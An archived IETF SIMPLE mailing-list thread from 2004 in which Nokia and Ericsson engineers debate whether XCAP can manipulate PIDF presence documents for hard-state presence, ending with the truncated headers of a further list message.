  <DIV><SPAN class=120231204-03032004><FONT face=Arial color=#0000ff 
  size=2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=120231204-03032004><FONT face=Arial>&nbsp;&nbsp; A server is 
  required to understand the baseline schema defined<BR>&nbsp;&nbsp; by the 
  application usage. However, those schemas can define points of<BR>&nbsp;&nbsp; 
  extensibility where new content can be added from other 
  namespaces<BR>&nbsp;&nbsp; and corresponding schemas. Sometimes, the server 
  will understand<BR>&nbsp;&nbsp; those namespaces and therefore have access to 
  their schemas.<BR>&nbsp;&nbsp; Sometimes, it will not.<BR><BR>&nbsp;&nbsp; A 
  server MUST allow for documents that contain elements from<BR>&nbsp;&nbsp; 
  namespaces not known to the server. In such a case, the server 
  cannot<BR>&nbsp;&nbsp; validate that such content is schema compliant; it will 
  only verify<BR>&nbsp;&nbsp; that the XML is well-formed.</FONT></SPAN></DIV>
  <DIV><SPAN class=120231204-03032004><FONT face=Arial color=#0000ff 
  size=2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=120231204-03032004><FONT face=Arial color=#0000ff size=2>In 
  this case the baseline schema is the one defined in PIDF soon-to-become RFC. 
  RPID, CIPID etc.&nbsp;extend PIDF in&nbsp;the allowed points of extensibility. 
  There is nothing in those namespaces&nbsp;that the server&nbsp;really needs to 
  understand.&nbsp;This means that the mandatory-ns mechanism (which itself will 
  probably change in the next rev of XCAP), would not be 
  needed.</FONT></SPAN></DIV>
  <DIV><SPAN class=120231204-03032004><FONT face=Arial color=#0000ff 
  size=2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=120231204-03032004><FONT face=Arial color=#0000ff size=2>Does 
  this clarify your concerns?</FONT></SPAN></DIV>
  <DIV><SPAN class=120231204-03032004><FONT face=Arial color=#0000ff 
  size=2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=120231204-03032004><FONT face=Arial color=#0000ff 
  size=2>Markus</FONT>&nbsp;</SPAN></DIV>
  <BLOCKQUOTE 
  style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px solid">
    <DIV class=OutlookMessageHeader dir=ltr align=left><FONT face=Tahoma 
    size=2>-----Original Message-----<BR><B>From:</B> ext George Foti (QA/EMC) 
    [mailto:george.foti@ericsson.com]<BR><B>Sent:</B> 03 March, 2004 
    05:03<BR><B>To:</B> Isomaki Markus (Nokia-NRC/Helsinki); 
    simple@ietf.org<BR><B>Subject:</B> RE: Comments on PIDF-Manipulation 
    Usage-00draft (was RE: Comments on 
    draft-isomaki-simple-xcap-publish-usage-00)<BR><BR></FONT></DIV>
    <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
    class=769514202-03032004>Hi Markus,</SPAN></FONT></FONT></FONT></DIV>
    <DIV><FONT size=+0><FONT size=+0><FONT size=+0><FONT size=+0><FONT 
    face=Arial color=#0000ff size=2><SPAN class=769514202-03032004>I would like 
    to adrress the following statement below that I cut from the original 
    exchange:</SPAN></FONT></FONT></FONT></FONT></FONT></DIV>
    <DIV><FONT size=+0><FONT size=+0><FONT size=+0><FONT size=+0><FONT 
    face=Arial color=#0000ff size=2><SPAN 
    class=769514202-03032004></SPAN></FONT></FONT></FONT></FONT></FONT>&nbsp;</DIV>
    <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
    class=769514202-03032004>1)&nbsp; </SPAN>First,&nbsp;a presentity can 
    publish several PIDF documents using SIP PUBLISH. Then, she can have a 
    single "hard state" PIDF&nbsp;document manipulated with XCAP. All of these 
    can contain any number of tuples. All this is fed into magic called "event 
    state compositor", which produces a single consistent presence document. The 
    fact that the compositor logic has been left as implementation specific is a 
    feature (or a deficiency) in SIMPLE, and this draft makes it no worse. I 
    agree that there will be interoperability issues with how things with the 
    composition definition are at the moment, but this draft does not cause the 
    problem.</FONT></FONT></FONT></DIV>
    <DIV><FONT face=Arial color=#0000ff size=2><SPAN 
    class=769514202-03032004></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT face=Arial color=#0000ff size=2><SPAN 
    class=769514202-03032004>/gf</SPAN></FONT></DIV>
    <DIV><FONT face=Arial color=#0000ff size=2><SPAN 
    class=769514202-03032004>There is no&nbsp; stand alone "hard state" PIDF 
    document that is defined today that can be solely managed by 
    XCAP.</SPAN></FONT></DIV>
    <DIV><FONT face=Arial color=#0000ff size=2><SPAN 
    class=769514202-03032004>XCAP requires an XML document with an XML schema to 
    be able to properly verify operations.</SPAN></FONT></DIV>
    <DIV><FONT face=Arial color=#0000ff size=2><SPAN 
    class=769514202-03032004>What you have in mind, I think, is a number of 
    tuples from various defined presence documents&nbsp;(PIDF, RPID, etc..) that 
    you&nbsp;want to manage using XCAP.</SPAN></FONT></DIV>
    <DIV><FONT face=Arial color=#0000ff size=2><SPAN 
    class=769514202-03032004></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT face=Arial color=#0000ff size=2><SPAN 
    class=769514202-03032004>Unless you create such a&nbsp;*stand alone* XMP 
    document for hard states, I dont beleive that you can do what you want with 
    XCAP, without creating interoperability problems, or open the door for 
    abuses that would require complexities to overcome.</SPAN></FONT></DIV>
    <DIV><FONT face=Arial color=#0000ff size=2><SPAN 
    class=769514202-03032004></SPAN></FONT><FONT face=Arial color=#0000ff 
    size=2><SPAN class=769514202-03032004></SPAN></FONT><FONT face=Arial 
    color=#0000ff size=2><SPAN class=769514202-03032004>gf/</SPAN></FONT></DIV>
    <DIV><SPAN class=769514202-03032004><FONT face=Arial color=#0000ff size=2>2) 
    Based on this I assume PIDF would still be OK for XCAP as it is 
    now.</FONT></SPAN></DIV>
    <DIV><SPAN class=769514202-03032004><FONT face=Arial color=#0000ff 
    size=2></FONT></SPAN>&nbsp;</DIV>
    <DIV><SPAN class=769514202-03032004><FONT face=Arial color=#0000ff 
    size=2>This is where I beleive that what you want can only be done with a 
    *new stand-alone* XML &nbsp;document. For&nbsp;example, the 
    XCAP&nbsp;framework requires the inclusion of the mandatory-ns element, if 
    you would include in the XML document managed by XCAP, elements from other 
    name spaces.</FONT></SPAN></DIV>
    <DIV><SPAN class=769514202-03032004><FONT face=Arial color=#0000ff 
    size=2>That today is not part of PIDF.&nbsp; The tuples you want XCAP to 
    manage are not part of PIDF, rather other presence 
    documents.</FONT></SPAN></DIV>
    <DIV><SPAN class=769514202-03032004><FONT face=Arial color=#0000ff size=2>So 
    how would that work then.</FONT></SPAN></DIV>
    <DIV><SPAN class=769514202-03032004><FONT face=Arial color=#0000ff 
    size=2></FONT></SPAN>&nbsp;</DIV>
    <BLOCKQUOTE dir=ltr 
    style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px solid; MARGIN-RIGHT: 0px">
      <DIV class=OutlookMessageHeader dir=ltr align=left><FONT face=Tahoma 
      size=2>-----Original Message-----<BR><B>From:</B> Markus.Isomaki@nokia.com 
      [mailto:Markus.Isomaki@nokia.com]<BR><B>Sent:</B> Tuesday, March 02, 2004 
      9:23 PM<BR><B>To:</B> George Foti (QA/EMC); 
      simple@ietf.org<BR><B>Subject:</B> RE: Comments on PIDF-Manipulation 
      Usage-00draft (was RE: Comments on 
      draft-isomaki-simple-xcap-publish-usage-00)<BR><BR></FONT></DIV>
      <DIV><SPAN class=182215601-03032004><FONT face=Arial color=#0000ff 
      size=2>Hi,</FONT></SPAN></DIV>
      <DIV><SPAN class=182215601-03032004><FONT face=Arial color=#0000ff 
      size=2></FONT></SPAN>&nbsp;</DIV>
      <DIV><SPAN class=182215601-03032004><FONT face=Arial color=#0000ff 
      size=2>OK, this time I understood your points much 
      better.</FONT></SPAN></DIV>
      <DIV><SPAN class=182215601-03032004><FONT face=Arial color=#0000ff 
      size=2></FONT></SPAN>&nbsp;</DIV>
      <DIV><SPAN class=182215601-03032004><FONT face=Arial color=#0000ff 
      size=2>Comments&nbsp;starting with [MI] inline:</FONT></SPAN></DIV>
      <BLOCKQUOTE 
      style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px solid">
        <DIV class=OutlookMessageHeader dir=ltr align=left><FONT face=Tahoma 
        size=2>-----Original Message-----<BR><B>From:</B> ext George Foti 
        (QA/EMC) [mailto:george.foti@ericsson.com]<BR><B>Sent:</B> 03 March, 
        2004 03:52<BR><B>To:</B> Isomaki Markus (Nokia-NRC/Helsinki); 
        simple@ietf.org<BR><B>Subject:</B> Comments on PIDF-Manipulation 
        Usage-00draft (was RE: Comments on 
        draft-isomaki-simple-xcap-publish-usage-00)<BR><BR></FONT></DIV>
        <DIV><FONT face=Arial color=#0000ff size=2><SPAN 
        class=509473301-03032004>Sorry, I had the wrong draft in the subject, 
        but I meant the PIDF Manipulation draft.</SPAN></FONT></DIV>
        <DIV><FONT face=Arial color=#0000ff size=2><SPAN 
        class=509473301-03032004>Comments inline/gf</SPAN></FONT></DIV>
        <BLOCKQUOTE dir=ltr 
        style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px solid; MARGIN-RIGHT: 0px">
          <DIV class=OutlookMessageHeader dir=ltr align=left><FONT face=Tahoma 
          size=2>-----Original Message-----<BR><B>From:</B> 
          Markus.Isomaki@nokia.com 
          [mailto:Markus.Isomaki@nokia.com]<BR><B>Sent:</B> Tuesday, March 02, 
          2004 8:24 PM<BR><B>To:</B> George Foti (QA/EMC); 
          simple@ietf.org<BR><B>Subject:</B> RE: Comments on 
          draft-isomaki-simple-xcap-publish-usage-00<BR><BR></FONT></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
          size=2>Hi George,</FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
          size=2></FONT></SPAN>&nbsp;</DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
          size=2>First of all, the document you are referring to has been 
          updated with this one:</FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
          size=2><A 
          href="http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pidf-manipulation-usage-00.txt">http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pidf-manipulation-usage-00.txt</A></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
          size=2></FONT></SPAN>&nbsp;</DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
          size=2>I'll submit the WG version shortly after the meeting. The 
          changes compared to the version you&nbsp;read&nbsp;are mainly 
          clarifications, so I think your comments would apply to the new draft 
          as well. My anwers to each point below:</FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
          size=2></FONT></SPAN>&nbsp;</DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
          size=2>1) XCAP operations are hard state by nature, no refreshing is 
          needed, so this is inherently hard state manipulation. 
          </FONT></SPAN></DIV>
          <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
          class=902344900-03032004><SPAN 
          class=509473301-03032004>/gf&nbsp;</SPAN></SPAN></FONT></FONT></FONT></DIV>
          <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
          class=902344900-03032004><SPAN class=509473301-03032004>Agree, but how 
          do you prevent users, from using XCAP from manipulating presence soft 
          states.</SPAN></SPAN></FONT></FONT></FONT></DIV>
          <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
          class=902344900-03032004><SPAN class=509473301-03032004>I assume that 
          all the presence tuples are part of the same presence document. 
          </SPAN></SPAN></FONT></FONT></FONT></DIV>
          <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
          class=902344900-03032004><SPAN class=509473301-03032004>Now you are 
          advocating selective manipluation of some tuples and not others using 
          XCAP.</SPAN></SPAN></FONT></FONT></FONT></DIV>
          <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
          class=902344900-03032004><SPAN class=509473301-03032004>Have I 
          misunderstood something here 
?</SPAN></SPAN></FONT></FONT></FONT></DIV>
          <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
          class=902344900-03032004><SPAN class=509473301-03032004>How will you 
          enforce that ?</SPAN></SPAN></FONT></FONT></FONT></DIV>
          <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
          class=902344900-03032004><SPAN 
          class=509473301-03032004>gf/</SPAN></SPAN></FONT></FONT></FONT></DIV>
          <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
          class=902344900-03032004><SPAN 
          class=509473301-03032004></SPAN></SPAN></FONT></FONT></FONT>&nbsp;</DIV>
          <DIV><FONT face=Arial color=#0000ff size=2><SPAN 
          class=902344900-03032004><SPAN class=509473301-03032004><SPAN 
          class=182215601-03032004>[MI] OK, I think I know what you mean. The 
          model for how the final presence document is put together is shown in 
          the draft in Chapter 3. First,&nbsp;a presentity can publish several 
          PIDF documents using SIP PUBLISH. Then, she can have a single "hard 
          state" PIDF&nbsp;document manipulated with XCAP. All of these can 
          contain any number of tuples. All this is fed into magic called "event 
          state compositor", which produces a single consistent presence 
          document. The fact that the compositor logic has been left as 
          implementation specific is a feature (or a deficiency) in SIMPLE, and 
          this draft makes it no worse. I agree that there will be 
          interoperability issues with how things with the composition 
          definition are at the moment, but this draft does not cause the 
          problem.</SPAN></SPAN></SPAN></FONT></DIV>
          <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
          class=902344900-03032004><SPAN 
          class=509473301-03032004></SPAN></SPAN></FONT></FONT></FONT>&nbsp;</DIV>
          <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
          class=902344900-03032004><SPAN 
          class=509473301-03032004>&nbsp;</SPAN>2) The default model I have in 
          mind is that each presentity would have exactly one persistent 
          device-independent presence document that would be manipulated by 
          XCAP. That would be fed to the composition logic to complement the 
          PUA/device-specific documents published using SIP PUBLISH 
          mechanism.<SPAN class=509473301-03032004>&nbsp;</SPAN></SPAN><SPAN 
          class=902344900-03032004><SPAN 
          class=509473301-03032004>&nbsp;</SPAN></SPAN></FONT></FONT></FONT></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2>XCAP is meant to be a generic 
          XML-manipulation mechanism, so there should be nothing specific in 
          this application usage. Once the base XCAP is finished, we'll see what 
          the exact mechanisms to mandate supported namespaces are, and we'll 
          adopt that convention in this draft too. This is probably still 
          changing from xcap-02 draft, as was discussed in SIMPLE 
          session.&nbsp;<SPAN 
          class=509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN 
          class=509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN 
          class=509473301-03032004>/gf</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN class=509473301-03032004>Not totally 
          true</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN class=509473301-03032004>XCAP have a 
          limited set of rules for HTTP URI 
          creation.</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN 
          class=509473301-03032004></SPAN></FONT></FONT></FONT></SPAN><SPAN 
          class=902344900-03032004><FONT face=Arial><FONT color=#0000ff><FONT 
          size=2><SPAN class=509473301-03032004>So&nbsp;it is not meant for 
          *any* XML document.</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN class=509473301-03032004>I think the 
          XCAP framework is clear on 
          that</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN class=509473301-03032004>You would 
          need to expand those rules, which can complicate things quite a lot, 
          not to mention slow things down, to make it more 
          generic.&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><SPAN 
          class=509473301-03032004><FONT face=Arial><FONT color=#0000ff><FONT 
          size=2>gf/<SPAN 
          class=182215601-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><SPAN 
          class=509473301-03032004><FONT face=Arial><FONT color=#0000ff><FONT 
          size=2><SPAN 
          class=182215601-03032004></SPAN></FONT></FONT></FONT></SPAN></SPAN>&nbsp;</DIV>
          <DIV><SPAN class=902344900-03032004><SPAN 
          class=509473301-03032004><FONT face=Arial><FONT color=#0000ff><FONT 
          size=2><SPAN class=182215601-03032004>[MI] I think you are right on 
          this one, my previous statement was wrong. XCAP can have problems with 
          handling *any* XML document, if the selector construction will be 
          restricted to only limited number of possibilities. However, see 
          Jonathan's mail attached to this mail. Based on this I assume PIDF 
          would still be OK for XCAP as it is 
          now.</SPAN></FONT></FONT></FONT></SPAN></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><SPAN 
          class=509473301-03032004><FONT face=Arial><FONT color=#0000ff><FONT 
          size=2><SPAN 
          class=182215601-03032004></SPAN></FONT></FONT></FONT></SPAN></SPAN>&nbsp;</DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2>3) I'm not sure if I&nbsp;understood the 
          question. This is not a template for any applications that want to use 
          XCAP, this is standardizing how XCAP is used to manipulate 
          PIDF-formatted presence documents. As there is no computed data or 
          anything, I guess an app usage for any XML doc would be quite similar 
          to this one.<SPAN 
          class=509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN 
          class=509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN 
          class=509473301-03032004>/gf</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN class=509473301-03032004>For event 
          packages we have a template that have to be filled&nbsp;by for anyone 
          who wants to create a new event 
          package.</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN class=509473301-03032004>So I am 
          asking if your&nbsp;document presents a template, similar&nbsp;to the 
          event package approach. (forget about the content for your 
          application)</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN class=509473301-03032004>I am not 
          sure if I am clear&nbsp;on that 
          one.&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><SPAN 
          class=509473301-03032004><FONT face=Arial><FONT color=#0000ff><FONT 
          size=2>gf/<SPAN 
          class=182215601-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><SPAN 
          class=509473301-03032004><FONT face=Arial><FONT color=#0000ff><FONT 
          size=2><SPAN 
          class=182215601-03032004></SPAN></FONT></FONT></FONT></SPAN></SPAN>&nbsp;</DIV>
          <DIV><SPAN class=902344900-03032004><SPAN 
          class=509473301-03032004><FONT face=Arial><FONT color=#0000ff><FONT 
          size=2><SPAN class=182215601-03032004>[MI] OK, I got the question, 
          thanks. Yes,&nbsp;we tried to follow&nbsp;the structure/template how 
          Jonathan has defined the&nbsp;other existing&nbsp;XCAP application 
          usages. So it should&nbsp;be according to how XCAP AUs are ssupposed 
          to be specified.&nbsp;</SPAN></FONT></FONT></FONT></SPAN></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN 
          class=509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2>4) Surely there are many ways to manipulate 
          PIDF documents. However, in context of SIMPLE, XCAP is a natural 
          choice since it's needed already in any advanced presence-capable 
          device. Could you explain what kind of complexities you mean? This is 
          as simple an XCAP usage as&nbsp;there can be. Are you saying that XCAP 
          in itself is complex? A more simple way would be to use just normal 
          HTTP PUT and DELETE, but since we have XCAP at our disposal, why not 
          use it.<SPAN 
          class=509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN 
          class=509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN 
          class=509473301-03032004>/gf</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN class=509473301-03032004>The 
          complexities will arise if we allow users to do selective 
          manipulation, using XCAP,&nbsp;for certain tuples&nbsp;*only*, and 
          using PUBLISH for the remaining 
          tuples.</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN class=509473301-03032004>So I need to 
          see your answer first to my&nbsp;response to your first &nbsp;bullet 
          before I go further</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
          color=#0000ff><FONT size=2><SPAN 
          class=509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN><SPAN 
          class=902344900-03032004><FONT face=Arial><FONT color=#0000ff><FONT 
          size=2><SPAN 
          class=509473301-03032004>gf/&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
          size=2></FONT></SPAN>&nbsp;</DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
          size=2><SPAN class=182215601-03032004>[MI] As I explained above, you 
          can already PUBLISH several documents and there has to be a way to do 
          composition. So the complexity is already inbuilt in SIMPLE, it is not 
          in this sense extended here.</SPAN></FONT></SPAN></DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
          size=2></FONT></SPAN>&nbsp;</DIV>
          <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
          size=2>Markus</FONT></SPAN></DIV>
          <BLOCKQUOTE 
          style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px solid">
            <DIV class=OutlookMessageHeader dir=ltr align=left><FONT face=Tahoma 
            size=2>-----Original Message-----<BR><B>From:</B> ext George Foti 
            (QA/EMC) [mailto:george.foti@ericsson.com]<BR><B>Sent:</B> 03 March, 
            2004 02:47<BR><B>To:</B> Isomaki Markus (Nokia-NRC/Helsinki); 
            simple@ietf.org<BR><B>Subject:</B> Comments on 
            draft-isomaki-simple-xcap-publish-usage-00<BR><BR></FONT></DIV><BR>
            <P><FONT face="Times New Roman">Hi Markus,</FONT> </P>
            <P><FONT face="Times New Roman">I have some comments on your 
            draft:</FONT> </P>
            <P><FONT face="Times New Roman">1) Although you indicate that this 
            should be used only for hard states, what is there to prevent users 
            from manipulating other presence states in there through 
            XCAP.</FONT></P>
            <P><FONT face="Times New Roman">2) XCAP is meant to be used for 
            documents that are created to take advantage of the defined XCAP 
            rules for HTTP URI creation. Which XML presence documents in 
            particular are you proposing that they get manipulated by 
            XCAP.&nbsp; </FONT></P>
            <P><FONT face="Times New Roman">How do you ensure that the current 
            XCAP rules are suffiicient for the purpose you have in mind. I also 
            doubt that you can use the current XML presence documents (PIDF and 
            extensions) for XCAP purposes as is. For example, should there not 
            be the element mandatory-ns, in there, as per the XCAP 
            framework.</FONT></P>
            <P><FONT face="Times New Roman">3) Is this template meant to be a 
            generic template to be used by all applications that want to use 
            XCAP.</FONT> </P>
            <P><FONT face="Times New Roman">4) Finally, I believe that there are 
            other, out-of-band means, to accomplish your goals, i.e. manipulate 
            hard states, without the unwarranted complexities that the draft 
            creates. Thus, there must be explicit references in the draft to 
            that fact.&nbsp; </FONT></P>
            <P><FONT face=Arial size=2>/gf</FONT> <BR><FONT face=Arial 
            size=2>Ericsson Canada</FONT> </P><BR><BR>This communication is 
            confidential and intended solely for the addressee(s). Any 
            unauthorized review, use, disclosure or distribution is prohibited. 
            If you believe this message has been sent to you in error, please 
            notify the sender by replying to this transmission and delete the 
            message without disclosing it. Thank you.<BR><BR>E-mail including 
            attachments is susceptible to data corruption, interruption, 
            unauthorized amendment, tampering and viruses, and we only send and 
            receive e-mails on the basis that we are not liable for any such 
            corruption, interception, amendment, tampering or viruses or any 
            consequences thereof. </BLOCKQUOTE></BLOCKQUOTE><BR><BR>This 
        communication is confidential and intended solely for the addressee(s). 
        Any unauthorized review, use, disclosure or distribution is prohibited. 
        If you believe this message has been sent to you in error, please notify 
        the sender by replying to this transmission and delete the message 
        without disclosing it. Thank you.<BR><BR>E-mail including attachments is 
        susceptible to data corruption, interruption, unauthorized amendment, 
        tampering and viruses, and we only send and receive e-mails on the basis 
        that we are not liable for any such corruption, interception, amendment, 
        tampering or viruses or any consequences thereof. 
    </BLOCKQUOTE></BLOCKQUOTE><BR><BR>This communication is confidential and 
    intended solely for the addressee(s). Any unauthorized review, use, 
    disclosure or distribution is prohibited. If you believe this message has 
    been sent to you in error, please notify the sender by replying to this 
    transmission and delete the message without disclosing it. Thank 
    you.<BR><BR>E-mail including attachments is susceptible to data corruption, 
    interruption, unauthorized amendment, tampering and viruses, and we only 
    send and receive e-mails on the basis that we are not liable for any such 
    corruption, interception, amendment, tampering or viruses or any 
    consequences thereof. </BLOCKQUOTE></BLOCKQUOTE> <br><br>This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.<br><br>E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof.</BODY></HTML>

------_=_NextPart_001_01C400F6.E0F80744--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 23:02:08 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA23691
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 23:02:08 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayk3k-0005nj-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 23:02:08 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ayk2n-0005d9-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 23:01:10 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayk1q-0005TW-00; Wed, 03 Mar 2004 23:00:10 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayk1j-0000lv-GM; Wed, 03 Mar 2004 23:00:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayk0m-0000ba-1V
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 22:59:04 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA23579
	for <simple@ietf.org>; Wed, 3 Mar 2004 22:59:00 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayk0i-0005K4-00
	for simple@ietf.org; Wed, 03 Mar 2004 22:59:00 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ayjzn-0005Bb-00
	for simple@ietf.org; Wed, 03 Mar 2004 22:58:03 -0500
Received: from bdsl.66.12.12.130.gte.net ([66.12.12.130] helo=bdsl.greycouncil.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyjzB-0004tO-00
	for simple@ietf.org; Wed, 03 Mar 2004 22:57:25 -0500
Received: from softarmor.com (tx-dwillis.wireless.ietf59.or.kr [218.37.227.108])
	(authenticated bits=0)
	by bdsl.greycouncil.com (8.12.8/8.12.8) with ESMTP id i243vdOT004135
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <simple@ietf.org>; Wed, 3 Mar 2004 21:57:42 -0600
Message-ID: <4046A8FA.5000008@softarmor.com>
From: Dean Willis <dean.willis@softarmor.com>
User-Agent: Mozilla Thunderbird 0.5 (Windows/20040207)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: simple@ietf.org
